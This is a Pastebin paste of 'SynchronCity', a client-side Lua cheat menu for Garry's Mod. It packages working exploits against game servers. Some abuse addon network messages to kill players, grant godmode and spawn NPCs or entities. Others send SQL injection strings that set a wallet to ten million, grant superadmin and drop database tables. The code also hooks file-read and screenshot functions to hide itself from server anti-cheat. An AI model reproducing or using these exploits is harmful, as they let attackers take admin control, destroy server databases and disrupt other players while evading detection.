Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if SERVER then return "" end -- autism ye
- /*
- -------------------------------------------
- Menu by Solly (because hes cool)
- Other by Leith (because im dead in dframe)
- other:
- Color(0, 140, 255) -- cool blue color
- Color(245, 245, 220) -- cool beige color
- Color(255, 215, 0) -- cool gold color
- Color(66, 244, 69) -- cool green color
- -------------------------------------------
- */
- local _MH=_MH -- another secret hack
- local rer=_MH or {} and _G
- local startnet=net.Start
- totalexploits = 0
- exploits = 0
- rer.Exploits = {}
- chat.AddText("syn_menu or press P")
- chat.AddText("syn_logo 1/0 - logo")
- if !fRead then
- fRead=file.Read
- fOpen=file.Open
- end
- file.Open=function(fn,fm,path)
- loh=nil
- loh=string.Explode("/",fn)
- if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
- chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
- return ""
- else
- return fOpen(fn,fm,path)
- end
- end
- file.Read=function(fn,path)
- loh=nil
- loh=string.Explode("/",fn)
- if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
- chat.AddText("someone tried grabbing ur file named "..fn..".")
- return ""
- else
- return fRead(fn,path)
- end
- end
- net.WriteEntity=function(ent)
- if !IsValid(ent) then
- net.WriteUInt(0,16)
- else
- net.WriteUInt(ent:EntIndex(),16)
- end
- end
- net.Start=function(str)
- startnet(str,true)
- end
- GetServerName=function()
- if !game.SinglePlayer() then
- return GetHostName()
- else
- return "SinglePlayer"
- end
- end
- GetIPAddress=function()
- if !game.SinglePlayer() then
- return game.GetIPAddress()
- else
- return "SinglePlayer"
- end
- end
- GetExploitsList=function()
- local str=""
- for i=1,#rer.Exploits do
- -- str=str.."#"..i.." "..rer.Exploits[i][1].." [NetString: "..rer.Exploits[i][3].."]".."\nDescription: "..rer.Exploits[i][2].."\n"
- str=str.."#"..i.." "..rer.Exploits[i][1].." [NetString: "..rer.Exploits[i][3].."]".."\nDescription: "..rer.Exploits[i][2].."\nStatus: "..rer.Exploits[i][4].."\n"
- end
- return str
- end
- ////////////////////////////////////////////////////////////
- surface.CreateFont("sxlogo", {
- size = 35,
- weight = 300,
- antialias = true,
- extended = true,
- italic = true,
- font = "akbar"
- })
- surface.CreateFont("sxlogo_shadow", {
- size = 35,
- weight = 300,
- antialias = true,
- extended = true,
- blursize = 3,
- italic = true,
- font = "akbar"
- })
- AddText=function(text, font, x, y, color, color2, xalign, yalign)
- draw.SimpleText(text, font .. "_shadow", x, y, ColorAlpha(color2, 255), xalign, yalign)
- draw.SimpleText(text, font, x + 1, y + 1, ColorAlpha(color2, 150), xalign, yalign)
- draw.SimpleText(text, font, x, y, color, xalign, yalign)
- end
- sxlogo = CreateClientConVar ("syn_logo","1",false,false)
- hook.Add("HUDPaint", "sxlogo", function()
- if sxlogo:GetBool() then
- local cin = (math.sin(CurTime()) + 1) / 2
- AddText("SynchronCity", "sxlogo", 17, 17, color_white, Color(cin * 255, 0, 255 - (cin * 255)), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP)
- end
- end)
- surface.CreateFont("___rer1",{
- font="akbar",
- size=(ScrW()+ScrH())*0.01,
- outline=true
- })
- rer.butpaint=function(but,str)
- but:SetText''
- but.Paint=function(s,w,h)
- if but.Hovered and !but:IsDown() then
- surface.SetDrawColor(255,255,255,100)
- surface.DrawRect(0,0,w,h)
- end
- surface.SetDrawColor(0,0,0)
- surface.DrawOutlinedRect(0,0,w,h)
- draw.SimpleText(str,"___rer1",w*0.5,h*0.5,color_white,1,1)
- end
- end
- //////////////////////////////
- rer.menu = vgui.Create("DFrame")
- rer.menu:SetSize(ScrW()*0.3,ScrH()*0.50)
- rer.menu:SetTitle''
- rer.menu:Center()
- rer.menu:SetVisible(false)
- rer.menu:SetMouseInputEnabled(true)
- rer.menu:SetKeyBoardInputEnabled(true)
- rer.menu:ShowCloseButton(false)
- rer.menu.colors={
- [1]=Color(60, 60, 60, 250), -- 60, 60, 60 // 64, 0, 104
- [2]=color_white,
- [3]=color_black,
- }
- rer.menu.Paint=function(s,w,h)
- local cin = (math.sin(CurTime()) + 1) / 2
- surface.SetDrawColor(rer.menu.colors[1])
- surface.DrawRect(0,0,w,h)
- surface.SetDrawColor(rer.menu.colors[3])
- surface.DrawOutlinedRect(0,0,w,h)
- -- draw.SimpleText("SynchronCity "..#rer.Exploits.."/"..totalexploits,"___rer1",5,-1,Color(0, 190, 255))
- draw.SimpleText("SynchronCity ","___rer1",5,-1,Color(0, 190, 255))
- -- draw.SimpleText("Exp: "..#rer.Exploits.."/"..totalexploits,"___rer1",425,-1,Color(0, 190, 255))
- surface.DrawLine(0,h*0.06,w,h*0.06)
- end
- rer.oldRC = render.Capture
- render.Capture=function(...)
- rer.Menu:SetVisible(false)
- RunConsoleCommand("syn_logo",0)
- render.RenderView()
- render.RenderHUD(0,0,ScrW(),ScrH())
- for k,v in pairs (hook.GetTable()["HUDPaint"]) do
- v()
- end
- return rer.oldRC(...)
- end
- //////////////////////////////
- rer.menu.closebut=vgui.Create("DButton",rer.menu)
- rer.menu.closebut:SetPos(rer.menu:GetWide()-25,5)
- rer.menu.closebut:SetSize(20,20)
- rer.butpaint(rer.menu.closebut,"X")
- rer.menu.closebut.DoClick=function()
- surface.PlaySound( "garrysmod/ui_click.wav" )
- rer.menu:SetVisible(false)
- -- hook.Remove("RenderScreenspaceEffects", "ad")
- end
- //////////////////////////////
- local a=vgui.Create("DScrollPanel",rer.menu)
- a:SetPos(5,rer.menu:GetTall()*0.07)
- a:SetSize(rer.menu:GetWide()-10,rer.menu:GetTall()-(rer.menu:GetTall()*0.07)-5)
- //////////////////////////////
- local b = a:Add( "DPanel" )
- b:Dock( 4 )
- b:DockMargin( 0, 0, 0, 5 )
- b:SetSize(0,30)
- b.Paint=function(s,w,h)
- surface.SetDrawColor(rer.menu.colors[3])
- surface.DrawOutlinedRect(0,0,w,h)
- -- draw.SimpleText("-=[Laggers/Crashers]=-","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
- -- draw.SimpleText("","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
- end
- local z = vgui.Create( "DTextEntry",b )
- z:Dock( 4 )
- z:DockMargin( 0, 0, 0, 5 )
- z:SetSize(0,30)
- z:SetText("")
- z.Paint=function(s,w,h)
- surface.SetDrawColor(rer.menu.colors[3])
- surface.DrawOutlinedRect(0,0,w,h)
- -- if !z.Hovered and z:GetText()=="" then
- if z:GetText()=="" then
- draw.SimpleText("Enter Some Shit Here","___rer1",w*0.5,h*0.5,Color(245, 245, 220),1,1)
- end
- s:DrawTextEntryText(Color(255,255,255,204), Color(70, 70, 255), Color(0,0,0))
- end
- //////////////////////////////
- NetString=function(str)
- return isstring(str) and util.NetworkStringToID(str) != 0 and str != ""
- end
- //////////////////////////////
- AddExploit=function(status,text,desc,netstr,func)
- totalexploits=totalexploits+1
- -- local yaest=false
- -- for i=1,#rer.Exploits do
- -- if rer.Exploits[i][1] == text then
- -- yaest=true
- -- end
- -- end
- -- if yaest then return end
- //////////////////////////////
- if(isstring(netstr))then
- if(NetString(netstr) or netstr == "")then
- exploits=exploits+1
- num = exploits
- rer.Exploits[num] = {}
- rer.Exploits[num][1] = text
- rer.Exploits[num][2] = desc
- if(netstr == "")then
- rer.Exploits[num][3] = text
- else
- rer.Exploits[num][3] = netstr
- end
- if(status == 1)then
- rer.Exploits[num][4] = "Undetected"
- else
- rer.Exploits[num][4] = "Outdated"
- end
- local l = a:Add( "DScrollPanel" )
- l:Dock(4)
- l:DockMargin( 0, 0, 0, 5 )
- l:SetSize(0,42)
- //////////////////////////////
- local a1=l:Add("DPanel")
- a1:SetSize(0,40)
- a1:Dock(4)
- a1:DockMargin( 0, 0, 0, 5 )
- a1.Paint=function(s,w,h)
- surface.SetDrawColor(rer.menu.colors[3])
- surface.DrawOutlinedRect(20,0,w-40,h)
- if status==1 then
- draw.SimpleText(text,"___rer1",40,h*0.5,rer.menu.colors[2],0,1)
- draw.SimpleText("Undetected","___rer1",255,h*0.5,Color(66, 244, 69),0,1)
- elseif status==2 then
- draw.SimpleText(text,"___rer1",40,h*0.5,rer.menu.colors[2],0,1)
- draw.SimpleText("Outdated","___rer1",255,h*0.5,Color(255, 112, 112),0,1)
- end
- end
- local b=vgui.Create("DButton",a1)
- b:SetPos(a:GetWide()-95,7)
- b:SetSize(70,25)
- b:SetText''
- b.DoClick = func
- b.Paint=function(s,w,h)
- --print(a:GetWide(),a1:GetWide())
- s:SetPos(a1:GetWide()-95,7)
- if b.Hovered and !b:IsDown() then
- surface.SetDrawColor(255,255,255,100)
- surface.DrawRect(0,0,w,h)
- end
- surface.SetDrawColor(0,0,0)
- surface.DrawOutlinedRect(0,0,w,h)
- draw.SimpleText("Start","___rer1",w*0.5,h*0.5,Color(255, 112, 112),1,1)
- end
- //////////////////////////////
- local n=vgui.Create("DButton",a1)
- n:SetPos(a:GetWide()-170,7)
- n:SetSize(70,25)
- n:SetText''
- n.DoClick = function()
- surface.PlaySound("garrysmod/ui_click.wav")
- chat.AddText("Description of ['"..text.."'] exploit: "..desc)
- end
- n.Paint=function(s,w,h)
- if desc and n.Hovered and !n:IsDown() then
- surface.SetDrawColor(255,255,255,100)
- surface.DrawRect(0,0,w,h)
- n:SetToolTip(desc)
- end
- s:SetPos(a1:GetWide()-170,7)
- surface.SetDrawColor(0,0,0)
- surface.DrawOutlinedRect(0,0,w,h)
- draw.SimpleText("Info","___rer1",w*0.5,h*0.5,Color(0, 140, 255),1,1)
- end
- end
- end
- end
- //////////////////////////////
- /* EXAMPLE */
- --[[
- AddExploit(1,"NAME","DESC","NET MESSAGE",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- chat.AddText("have a nice day ya ~")
- end)
- 1/2 -- Exploit Status: (1)Undetected/(2)Outdated
- "NAME" -- Exploit Name
- "DESC" -- Exploit Description
- "NET MESSAGE" -- Exploit Net Message
- net.WriteString(z:GetText())
- net.WriteInt(z:GetText())
- net.WriteUInt(z:GetText())
- -- and so on
- ]]
- /*
- AddExploit(1,"Test Exploit","yeah","properties",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- RunConsoleCommand("say",z:GetText())
- end)
- */
- AddExploit(2,"Hack Keypads","Hack all keypads","start_wd_emp",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("start_wd_emp")
- net.SendToServer()
- end)
- AddExploit(1,"Radio Sound","radio sounds","wanted_radio",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- for k,v in pairs(player.GetAll()) do
- net.Start("wanted_radio")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end)
- AddExploit(2,"Kill the player","Kills the player you're looking at","Taucannonfire",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- for i=1,25 do
- net.Start("Taucannonfire")
- net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
- net.WriteBit(true)
- net.SendToServer()
- end
- end)
- AddExploit(1,"Godmode","when you press the mouse button, you become mortal","territoryEnter",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- hook.Add("KeyPress","god1",function(ply,key)
- if key==IN_ATTACK then
- net.Start("territoryExit")
- net.SendToServer()
- end
- end)
- hook.Add("KeyRelease","god2",function(ply,key)
- if key==IN_ATTACK then
- net.Start("territoryEnter")
- net.WriteString("SPAWN")
- net.SendToServer()
- end
- end)
- end)
- AddExploit(1,"Disguise #1","eternal disguise","PlayerSetDisModel",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- PrintTable(team.GetAllTeams())
- hook.Add("KeyRelease", "RemoveDisHood", function(player , key)
- end)
- net.Start("PlayerSetDisModel")
- net.WriteString(LocalPlayer():Nick())
- net.WriteUInt(tonumber(z:GetText()), 16)
- net.SendToServer()
- end)
- AddExploit(2,"Free Money #1","get money","orgcheckname",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("orgcheckname")
- net.WriteString("([['; UPDATE darkrp_player SET wallet = 10000000 WHERE uid = ]] .. LocalPlayer():UniqueID() .. [[ OR uid = ]] .. LocalPlayer():SteamID64()..[[; —]])")
- net.SendToServer()
- end)
- AddExploit(2,"Get superadmin","get superadmin","orgcheckname",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("orgcheckname")
- net.WriteString("([['; INSERT INTO FAdmin_PlayerGroup VALUES (']].. LocalPlayer():SteamID() [[', 'superadmin'); —]])")
- net.SendToServer()
- end)
- AddExploit(2,"Destroy database","mem","orgcheckname",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("orgcheckname")
- net.WriteString("([['; DROP TABLE darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING); —]])")
- net.SendToServer()
- end)
- AddExploit(2,"Spawn Explosive Glass","spawn explosive glass of yourself","Activate294",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- net.Start("Activate294")
- net.WriteBool(true)
- net.WriteString("explosion")
- net.WriteEntity(LocalPlayer())
- net.SendToServer()
- end)
- AddExploit(1,"Spawn Entity","an exploit in vjbase","vj_npcspawner_sv_create",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- local entname = z:GetText()
- net.Start("vj_npcspawner_sv_create")
- net.WriteTable({})
- net.WriteEntity(LocalPlayer())
- net.WriteVector( LocalPlayer():GetEyeTrace().HitPos )
- net.WriteType({
- {
- Entities=entname,
- SpawnPosition=Vector(0,0,0),
- WeaponsList="",
- EntityName=""
- }
- })
- net.WriteString("RightClick")
- net.SendToServer()
- end)
- AddExploit(1,"Spawn NPC","an exploit in npc tool","sv_npctool_spawner_spawn",function()
- surface.PlaySound("garrysmod/ui_click.wav")
- local npc = z:GetText() -- npc_citizen
- local wep = "weapon_rpg" -- weapon_rpg
- net.Start("sv_npctool_spawner_spawn")
- net.WriteVector(LocalPlayer():GetEyeTrace().HitPos)
- net.WriteFloat(0)
- net.WriteString(npc) // *** NPC ***
- net.WriteString("")
- net.WriteUInt(0,25)
- net.WriteString(wep) // *** WEAPON ***
- net.WriteUInt(3,4) // prof
- net.WriteFloat(0) // delay
- net.WriteUInt(20,6) // max
- net.WriteUInt(100,14) // total
- net.WriteUInt(0,13) // turnon
- net.WriteUInt(1,13) // tuqrnoff
- net.WriteUInt(1,1) // effects
- net.WriteUInt(1,1) // starton
- net.WriteUInt(1,1) // startburrowed
- net.WriteUInt(1,1) // deleteonremove
- net.WriteUInt(1,1) // patrolwalk
- net.WriteUInt(1,2) // patroltype
- net.WriteUInt(1,1) // patrolstrict
- net.WriteUInt(1,8) // numkeyvalues
- local tbKeyValues = {}
- tbKeyValues["EquipMine"] = "2"
- for key,val in pairs(tbKeyValues) do
- net.WriteString(key)
- net.WriteString(val)
- end
- local numPPoints = 1
- net.WriteUInt(numPPoints,12)
- net.WriteUInt(1,8) // tbRelationships
- local tbRelationships = {}
- tbRelationships["npc_citizen"] = 3
- for class,disp in pairs(tbRelationships) do
- net.WriteString(class)
- net.WriteUInt(disp,3)
- end
- ////////////////////////
- // IF YOU GET THE ERROR, UNCOMMENT THESE LINES!!!
- -- local patrolRoute = {}
- -- net.WriteTable(patrolRoute)
- -- net.WriteUInt(1000, 8) // xp
- net.SendToServer()
- end)
- //////////////////////////////
- /* -- OFF
- --[[
- local s = a:Add( "DPanel" )
- s:Dock(4)
- s:DockMargin( 0, 0, 0, 5 )
- s:SetSize(0,30)
- s:SetPos(30,30)
- s.Paint=function(s,w,h)
- surface.SetDrawColor(rer.menu.colors[3])
- surface.DrawOutlinedRect(0,0,w,h)
- -- draw.SimpleText("-=[Exploits]=-","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
- draw.SimpleText("","___rer1",w*0.5,h*0.5,rer.menu.colors[2],1,1)
- end
- ]]
- */
- //////////////////////////////
- concommand.Add("syn_menu", function()
- --rer.menu:Show()
- rer.menu:SetVisible(true)
- rer.menu:MakePopup()
- -- hook.Add("RenderScreenspaceEffects", "blur", function()
- -- DrawToyTown( 3, ScrH() )
- -- end)
- -- local da= {
- -- ["$pp_colour_addr"] = 0,
- -- ["$pp_colour_addg"] = 0,
- -- ["$pp_colour_addb"] = 0,
- -- ["$pp_colour_brightness"] = 0,
- -- ["$pp_colour_contrast"] = 1,
- -- ["$pp_colour_colour"] = 0,
- -- ["$pp_colour_mulr"] = 5,
- -- ["$pp_colour_mulg"] = 3,
- -- ["$pp_colour_mulb"] = 2
- -- }
- -- hook.Add( "RenderScreenspaceEffects", "ad", function()
- -- DrawColorModify(da)
- -- end)
- end)
- //////////////////////////////
- rer.menu.mem=0
- --rer.menu:Hide()
- hook.Add("Think", "MenuOpen", function()
- if input.IsKeyDown(KEY_P) then
- rer.menu.mem = rer.menu.mem + 1
- if rer.menu.mem == 1 then
- LocalPlayer():ConCommand("syn_menu")
- end
- else
- rer.menu.mem = 0
- end
- end)
- //////////////////////////////
- rer.menu.unload=vgui.Create("DButton",rer.menu)
- rer.menu.unload:SetPos(rer.menu:GetWide()-430,5)
- rer.menu.unload:SetSize(80,20)
- rer.menu.unload:SetText''
- rer.menu.unload.Paint=function(s,w,h)
- if rer.menu.unload.Hovered and !rer.menu.unload:IsDown() then
- surface.SetDrawColor(255,255,255,100)
- surface.DrawRect(0,0,w,h)
- end
- surface.SetDrawColor(0,0,0)
- surface.DrawOutlinedRect(0,0,w,h)
- draw.SimpleText("Unload","___rer1",w*0.5,h*0.5,color_white,1,1)
- end
- rer.menu.unload.DoClick=function()
- surface.PlaySound("garrysmod/ui_click.wav")
- chat.AddText("unloaded :<")
- rer.menu:Remove()
- rer.menu.colors={}
- hook.Remove("HUDPaint", "sxlogo")
- concommand.Remove("syn_logo")
- concommand.Remove("syn_menu")
- rer.butpaint=function() end
- AddText=function() end
- NetString=function() end
- AddExploit=function() end
- Send=function() end
- hook.Remove("Think", "MenuOpen")
- rer.menu.mem=0
- end
- rer.menu.info=vgui.Create("DButton",rer.menu)
- rer.menu.info:SetPos(rer.menu:GetWide()-345,5)
- rer.menu.info:SetSize(185,20)
- rer.menu.info:SetText''
- rer.menu.info.Paint=function(s,w,h)
- if rer.menu.info.Hovered and !rer.menu.info:IsDown() then
- surface.SetDrawColor(255,255,255,100)
- surface.DrawRect(0,0,w,h)
- end
- surface.SetDrawColor(0,0,0)
- surface.DrawOutlinedRect(0,0,w,h)
- draw.SimpleText("Save Exploits Info","___rer1",w*0.5,h*0.5,color_white,1,1)
- end
- rer.menu.info.DoClick=function()
- if exploits >= 1 then
- surface.PlaySound( "items/ammo_pickup.wav" )
- local name = "SynchronCity/"..string.Replace(GetIPAddress(),":","-").." ("..exploits.."-"..totalexploits..").txt"
- chat.AddText(name)
- if(!file.Exists("SynchronCity","DATA"))then
- file.CreateDir("SynchronCity")
- end
- file.Write(name,"IP: "..GetIPAddress().." aka '"..GetServerName().."'\r\nExploits Count: "..exploits.."/"..totalexploits.."\r\nExploit List:\r\n")
- for i=1,#rer.Exploits do
- file.Append(name,"\r\n".."#"..i.." "..rer.Exploits[i][1].." [NetString: "..rer.Exploits[i][3].."]".."\r\nDescription: "..rer.Exploits[i][2].."\r\nStatus: "..rer.Exploits[i][4].."\r\n")
- end
- else
- surface.PlaySound("garrysmod/ui_click.wav")
- chat.AddText("there are no exploits here idiot :<")
- return
- end
- /*
- DOESN'T WORK BECAUSE THE DISCORD DEVELOPERS ARE IDIOTS
- --[[
- local function LogsOnDiscord_SendLog(json)
- http.Post("WEBHOOK",json,
- function(result) end)
- end
- function Send(text)
- if(isstring(text)) then
- local text = string.JavascriptSafe(text)
- local json_table=[[
- {
- "username": "Server Exploits Info",
- "avatar_url": "https://i.imgur.com/qsttI92.jpg",
- "embeds":[
- {
- "footer": {
- "text": "]]..GetServerName()..[[",
- "icon_url": "https://i.imgur.com/qsttI92.jpg"
- },
- "color": "5124767",
- "title": "Profile",
- "url": "http://steamcommunity.com/profiles/]]..LocalPlayer():SteamID64()..[[",
- "description": "]] .. text .. [[",
- "timestamp": "]] .. os.date("!%Y-%m-%dT%H:%M:%S", os.time()) ..[["
- }]
- }
- ]]
- local tbl = util.JSONToTable(json_table)
- tbl["payload_json"] = json_table
- LogsOnDiscord_SendLog(tbl)
- end
- end
- --Send("**Server IP:**\n > "..GetIPAddress().."\n**Server Name:**\n > "..GetServerName().."\n**Exploits Count:**\n > "..exploits.."/"..totalexploits.."\n**Exploits List:**\n"..GetExploitsList().."")
- Send("**Server IP:**\n > "..GetIPAddress().."\n**Exploits Count:**\n > "..exploits.."/"..totalexploits.."\n**Exploits List:**\n"..GetExploitsList().."")
- else
- surface.PlaySound("garrysmod/ui_click.wav")
- chat.AddText("there are no exploits here idiot :<")
- return
- end
- ]]
- */
- end
Add Comment
Please, Sign In to add comment